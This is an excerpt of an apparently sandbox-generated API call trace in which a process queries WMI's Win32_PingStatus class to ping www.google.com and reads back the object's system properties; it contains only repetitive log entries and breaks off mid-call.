WbemStatusCodeText:IWbemStatusCodeText:GetErrorCodeText (in: This=0x4f4afc0, hRes=0x80041002, LocaleId=0x0, lFlags=1, MessageText=0x59ee9b0 | out: MessageText=0x59ee9b0*="Not found ") returned 0x0 [0127.453] SysStringByteLen (bstr="Not found ") returned 0x14 [0127.498] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da430, puCount=0x59ee860 | out: puCount=0x59ee860*=0x2) returned 0x0 [0127.498] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee85c*=0x0, pszText=0x0 | out: puBuffLength=0x59ee85c*=0xf, pszText=0x0) returned 0x0 [0127.498] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee85c*=0xf, pszText="00000000000000" | out: puBuffLength=0x59ee85c*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0127.498] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da430, puCount=0x59ee860 | out: puCount=0x59ee860*=0x2) returned 0x0 [0127.498] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee85c*=0x0, pszText=0x0 | out: puBuffLength=0x59ee85c*=0xf, pszText=0x0) returned 0x0 [0127.498] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee85c*=0xf, pszText="00000000000000" | out: puBuffLength=0x59ee85c*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0127.498] IWbemClassObject:GetNames (in: This=0x4f387a8, wszQualifierName=0x0, lFlags=48, pQualifierVal=0x59ee868*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x59ee85c | out: pNames=0x59ee85c*="\x01ƀ\x04") returned 0x0 [0127.498] SafeArrayGetDim (psa=0x4f3e390) returned 0x1 [0127.498] SafeArrayGetDim (psa=0x4f3e390) returned 0x1 [0127.498] SafeArrayGetLBound (in: psa=0x4f3e390, nDim=0x1, plLbound=0x59ee6f4 | out: plLbound=0x59ee6f4) returned 0x0 [0127.498] SysStringByteLen (bstr="__GENUS") returned 0xe [0127.498] SysStringByteLen (bstr="__GENUS") returned 0xe [0127.498] SysStringByteLen (bstr="__CLASS") returned 0xe [0127.498] SysStringByteLen (bstr="__CLASS") returned 0xe [0127.498] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0127.498] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0127.499] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0127.499] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0127.499] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0127.499] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0127.499] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0127.499] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0127.499] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0127.499] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0127.499] SysStringByteLen (bstr="__SERVER") returned 0x10 [0127.499] SysStringByteLen (bstr="__SERVER") returned 0x10 [0127.499] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0127.499] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0127.499] SysStringByteLen (bstr="__PATH") returned 0xc [0127.499] SysStringByteLen (bstr="__PATH") returned 0xc [0127.499] IWbemClassObject:Get (in: This=0x4f387a8, wszName="__GENUS", lFlags=0, pVal=0x59ee858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2345774*=0, plFlavor=0x2345778*=0 | out: pVal=0x59ee858*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x2345774*=3, plFlavor=0x2345778*=64) returned 0x0 [0127.500] IWbemClassObject:Get (in: This=0x4f387a8, wszName="__CLASS", lFlags=0, pVal=0x59ee858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x23457a8*=0, plFlavor=0x23457ac*=0 | out: pVal=0x59ee858*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x23457a8*=8, plFlavor=0x23457ac*=64) returned 0x0 [0127.500] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0127.500] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0127.500] IWbemClassObject:Get (in: This=0x4f387a8, wszName="__SUPERCLASS", lFlags=0, pVal=0x59ee858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2345800*=0, plFlavor=0x2345804*=0 | out: pVal=0x59ee858*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2345800*=8, plFlavor=0x2345804*=64) returned 0x0 [0127.500] IWbemClassObject:Get (in: This=0x4f387a8, wszName="__DYNASTY", lFlags=0, pVal=0x59ee858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2345828*=0, plFlavor=0x234582c*=0 | out: pVal=0x59ee858*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x2345828*=8, plFlavor=0x234582c*=64) returned 0x0 [0127.500] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0127.500] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0127.500] IWbemClassObject:Get (in: This=0x4f387a8, wszName="__RELPATH", lFlags=0, pVal=0x59ee858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2345880*=0, plFlavor=0x2345884*=0 | out: pVal=0x59ee858*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x2345880*=8, plFlavor=0x2345884*=64) returned 0x0 [0127.500] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a4 [0127.500] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a4 [0127.500] IWbemClassObject:Get (in: This=0x4f387a8, wszName="__PROPERTY_COUNT", lFlags=0, pVal=0x59ee858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2345a5c*=0, plFlavor=0x2345a60*=0 | out: pVal=0x59ee858*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x18, varVal2=0x0), pType=0x2345a5c*=3, plFlavor=0x2345a60*=64) returned 0x0 [0127.501] IWbemClassObject:Get (in: This=0x4f387a8, wszName="__DERIVATION", lFlags=0, pVal=0x59ee858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2345a90*=0, plFlavor=0x2345a94*=0 | out: pVal=0x59ee858*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x4f3e3c0*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x4f4afb0, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x2345a90*=8200, plFlavor=0x2345a94*=64) returned 0x0 [0127.501] IWbemClassObject:Get (in: This=0x4f387a8, wszName="__SERVER", lFlags=0, pVal=0x59ee858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2345ac4*=0, plFlavor=0x2345ac8*=0 | out: pVal=0x59ee858*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x2345ac4*=8, plFlavor=0x2345ac8*=64) returned 0x0 [0127.501] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0127.501] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0127.501] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da430, puCount=0x59ee894 | out: puCount=0x59ee894*=0x2) returned 0x0 [0127.501] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee890*=0x0, pszText=0x0 | out: puBuffLength=0x59ee890*=0xf, pszText=0x0) returned 0x0 [0127.501] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee890*=0xf, pszText="00000000000000" | out: puBuffLength=0x59ee890*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0127.501] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da430, puCount=0x59ee894 | out: puCount=0x59ee894*=0x2) returned 0x0 [0127.501] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee890*=0x0, pszText=0x0 | out: puBuffLength=0x59ee890*=0xf, pszText=0x0) returned 0x0 [0127.502] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee890*=0xf, pszText="00000000000000" | out: puBuffLength=0x59ee890*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0127.502] IWbemClassObject:GetNames (in: This=0x4f387a8, wszQualifierName=0x0, lFlags=48, pQualifierVal=0x59ee89c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x59ee890 | out: pNames=0x59ee890*="\x01ƀ\x04") returned 0x0 [0127.502] SafeArrayGetDim (psa=0x4f3e300) returned 0x1 [0127.502] SafeArrayGetDim (psa=0x4f3e300) returned 0x1 [0127.502] SafeArrayGetLBound (in: psa=0x4f3e300, nDim=0x1, plLbound=0x59ee728 | out: plLbound=0x59ee728) returned 0x0 [0127.502] SysStringByteLen (bstr="__GENUS") returned 0xe [0127.502] SysStringByteLen (bstr="__GENUS") returned 0xe [0127.502] SysStringByteLen (bstr="__CLASS") returned 0xe [0127.502] SysStringByteLen (bstr="__CLASS") returned 0xe [0127.502] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0127.502] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0127.502] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0127.502] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0127.502] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0127.502] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0127.502] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0127.502] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0127.502] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0127.502] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0127.502] SysStringByteLen (bstr="__SERVER") returned 0x10 [0127.503] SysStringByteLen (bstr="__SERVER") returned 0x10 [0127.503] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0127.503] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0127.503] SysStringByteLen (bstr="__PATH") returned 0xc [0127.503] SysStringByteLen (bstr="__PATH") returned 0xc [0127.503] IWbemClassObject:Get (in: This=0x4f387a8, wszName="__GENUS", lFlags=0, pVal=0x59ee88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2345e90*=0, plFlavor=0x2345e94*=0 | out: pVal=0x59ee88c*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x2345e90*=3, plFlavor=0x2345e94*=64) returned 0x0 [0127.567] IWbemClassObject:Get (in: This=0x4f387a8, wszName="__CLASS", lFlags=0, pVal=0x59ee88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2345ec4*=0, plFlavor=0x2345ec8*=0 | out: pVal=0x59ee88c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x2345ec4*=8, plFlavor=0x2345ec8*=64) returned 0x0 [0127.567] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0127.567] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0127.567] IWbemClassObject:Get (in: This=0x4f387a8, wszName="__SUPERCLASS", lFlags=0, pVal=0x59ee88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2345f1c*=0, plFlavor=0x2345f20*=0 | out: pVal=0x59ee88c*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2345f1c*=8, plFlavor=0x2345f20*=64) returned 0x0 [0127.567] IWbemClassObject:Get (in: This=0x4f387a8, wszName="__DYNASTY", lFlags=0, pVal=0x59ee88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2345f44*=0, plFlavor=0x2345f48*=0 | out: pVal=0x59ee88c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x2345f44*=8, plFlavor=0x2345f48*=64) returned 0x0 [0127.567] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0127.567] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0127.568] IWbemClassObject:Get (in: This=0x4f387a8, wszName="__RELPATH", lFlags=0, pVal=0x59ee88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2345f9c*=0, plFlavor=0x2345fa0*=0 | out: pVal=0x59ee88c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x2345f9c*=8, plFlavor=0x2345fa0*=64) returned 0x0 [0127.568] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a4 [0127.568] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a4 [0127.568] IWbemClassObject:Get (in: This=0x4f387a8, wszName="__PROPERTY_COUNT", lFlags=0, pVal=0x59ee88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2346178*=0, plFlavor=0x234617c*=0 | out: pVal=0x59ee88c*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x18, varVal2=0x0), pType=0x2346178*=3, plFlavor=0x234617c*=64) returned 0x0 [0127.568] IWbemClassObject:Get (in: This=0x4f387a8, wszName="__DERIVATION", lFlags=0, pVal=0x59ee88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x23461ac*=0, plFlavor=0x23461b0*=0 | out: pVal=0x59ee88c*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x4f3e2a0*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x4f4afb0, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x23461ac*=8200, plFlavor=0x23461b0*=64) returned 0x0 [0127.568] IWbemClassObject:Get (in: This=0x4f387a8, wszName="__SERVER", lFlags=0, pVal=0x59ee88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x23461e0*=0, plFlavor=0x23461e4*=0 | out: pVal=0x59ee88c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x23461e0*=8, plFlavor=0x23461e4*=64) returned 0x0 [0127.568] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0127.569] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0127.569] IWbemClassObject:Get (in: This=0x4f387a8, wszName="__SERVER", lFlags=0, pVal=0x59ee980*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x23461e0*=8, plFlavor=0x23461e4*=64 | out: pVal=0x59ee980*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x23461e0*=8, plFlavor=0x23461e4*=64) returned 0x0 [0127.569] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0127.569] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0127.570] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da430, puCount=0x59ee860 | out: puCount=0x59ee860*=0x2) returned 0x0 [0127.570] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee85c*=0x0, pszText=0x0 | out: puBuffLength=0x59ee85c*=0xf, pszText=0x0) returned 0x0 [0127.571] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee85c*=0xf, pszText="00000000000000" | out: puBuffLength=0x59ee85c*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0127.571] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da430, puCount=0x59ee860 | out: puCount=0x59ee860*=0x2) returned 0x0 [0127.571] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee85c*=0x0, pszText=0x0 | out: puBuffLength=0x59ee85c*=0xf, pszText=0x0) returned 0x0 [0127.571] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee85c*=0xf, pszText="00000000000000" | out: puBuffLength=0x59ee85c*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0127.571] IWbemClassObject:GetNames (in: This=0x4f387a8, wszQualifierName=0x0, lFlags=48, pQualifierVal=0x59ee868*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x59ee85c | out: pNames=0x59ee85c*="\x01ƀ\x04") returned 0x0 [0127.571] SafeArrayGetDim (psa=0x4f3e3c0) returned 0x1 [0127.571] SafeArrayGetDim (psa=0x4f3e3c0) returned 0x1 [0127.571] SafeArrayGetLBound (in: psa=0x4f3e3c0, nDim=0x1, plLbound=0x59ee6f4 | out: plLbound=0x59ee6f4) returned 0x0 [0127.571] SysStringByteLen (bstr="__GENUS") returned 0xe [0127.571] SysStringByteLen (bstr="__GENUS") returned 0xe [0127.571] SysStringByteLen (bstr="__CLASS") returned 0xe [0127.571] SysStringByteLen (bstr="__CLASS") returned 0xe [0127.571] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0127.571] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0127.571] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0127.571] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0127.571] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0127.571] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0127.571] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0127.572] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0127.572] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0127.572] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0127.572] SysStringByteLen (bstr="__SERVER") returned 0x10 [0127.572] SysStringByteLen (bstr="__SERVER") returned 0x10 [0127.572] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0127.572] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0127.572] SysStringByteLen (bstr="__PATH") returned 0xc [0127.572] SysStringByteLen (bstr="__PATH") returned 0xc [0127.572] IWbemClassObject:Get (in: This=0x4f387a8, wszName="__GENUS", lFlags=0, pVal=0x59ee858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x234687c*=0, plFlavor=0x2346880*=0 | out: pVal=0x59ee858*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x234687c*=3, plFlavor=0x2346880*=64) returned 0x0 [0127.572] IWbemClassObject:Get (in: This=0x4f387a8, wszName="__CLASS", lFlags=0, pVal=0x59ee858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x23468b0*=0, plFlavor=0x23468b4*=0 | out: pVal=0x59ee858*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x23468b0*=8, plFlavor=0x23468b4*=64) returned 0x0 [0127.572] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0127.572] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0127.573] IWbemClassObject:Get (in: This=0x4f387a8, wszName="__SUPERCLASS", lFlags=0, pVal=0x59ee858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2346908*=0, plFlavor=0x234690c*=0 | out: pVal=0x59ee858*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2346908*=8, plFlavor=0x234690c*=64) returned 0x0 [0127.573] IWbemClassObject:Get (in: This=0x4f387a8, wszName="__DYNASTY", lFlags=0, pVal=0x59ee858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2346930*=0, plFlavor=0x2346934*=0 | out: pVal=0x59ee858*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x2346930*=8, plFlavor=0x2346934*=64) returned 0x0 [0127.573] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0127.573] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0127.573] IWbemClassObject:Get (in: This=0x4f387a8, wszName="__RELPATH", lFlags=0, pVal=0x59ee858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2346988*=0, plFlavor=0x234698c*=0 | out: pVal=0x59ee858*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x2346988*=8, plFlavor=0x234698c*=64) returned 0x0 [0127.573] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a4 [0127.573] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a4 [0127.573] IWbemClassObject:Get (in: This=0x4f387a8, wszName="__PROPERTY_COUNT", lFlags=0, pVal=0x59ee858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2346b64*=0, plFlavor=0x2346b68*=0 | out: pVal=0x59ee858*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x18, varVal2=0x0), pType=0x2346b64*=3, plFlavor=0x2346b68*=64) returned 0x0 [0127.573] IWbemClassObject:Get (in: This=0x4f387a8, wszName="__DERIVATION", lFlags=0, pVal=0x59ee858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2346b98*=0, plFlavor=0x2346b9c*=0 | out: pVal=0x59ee858*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x4f3e390*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x4f4afb0, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x2346b98*=8200, plFlavor=0x2346b9c*=64) returned 0x0 [0127.574] IWbemClassObject:Get (in: This=0x4f387a8, wszName="__SERVER", lFlags=0, pVal=0x59ee858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2346bcc*=0, plFlavor=0x2346bd0*=0 | out: pVal=0x59ee858*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x2346bcc*=8, plFlavor=0x2346bd0*=64) returned 0x0 [0127.574] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0127.574] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0127.574] IWbemClassObject:Get (in: This=0x4f387a8, wszName="__NAMESPACE", lFlags=0, pVal=0x59ee858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2346c18*=0, plFlavor=0x2346c1c*=0 | out: pVal=0x59ee858*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x2346c18*=8, plFlavor=0x2346c1c*=64) returned 0x0 [0127.574] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0127.574] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0127.574] IWbemClassObject:Get (in: This=0x4f387a8, wszName="__PATH", lFlags=0, pVal=0x59ee858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2346c64*=0, plFlavor=0x2346c68*=0 | out: pVal=0x59ee858*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x2346c64*=8, plFlavor=0x2346c68*=64) returned 0x0 [0127.574] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d4 [0127.574] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d4 [0127.574] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da430, puCount=0x59ee89c | out: puCount=0x59ee89c*=0x2) returned 0x0 [0127.574] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee898*=0x0, pszText=0x0 | out: puBuffLength=0x59ee898*=0xf, pszText=0x0) returned 0x0 [0127.574] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee898*=0xf, pszText="00000000000000" | out: puBuffLength=0x59ee898*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0127.575] IWbemClassObject:Get (in: This=0x4f387a8, wszName="Address", lFlags=0, pVal=0x59ee898*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), 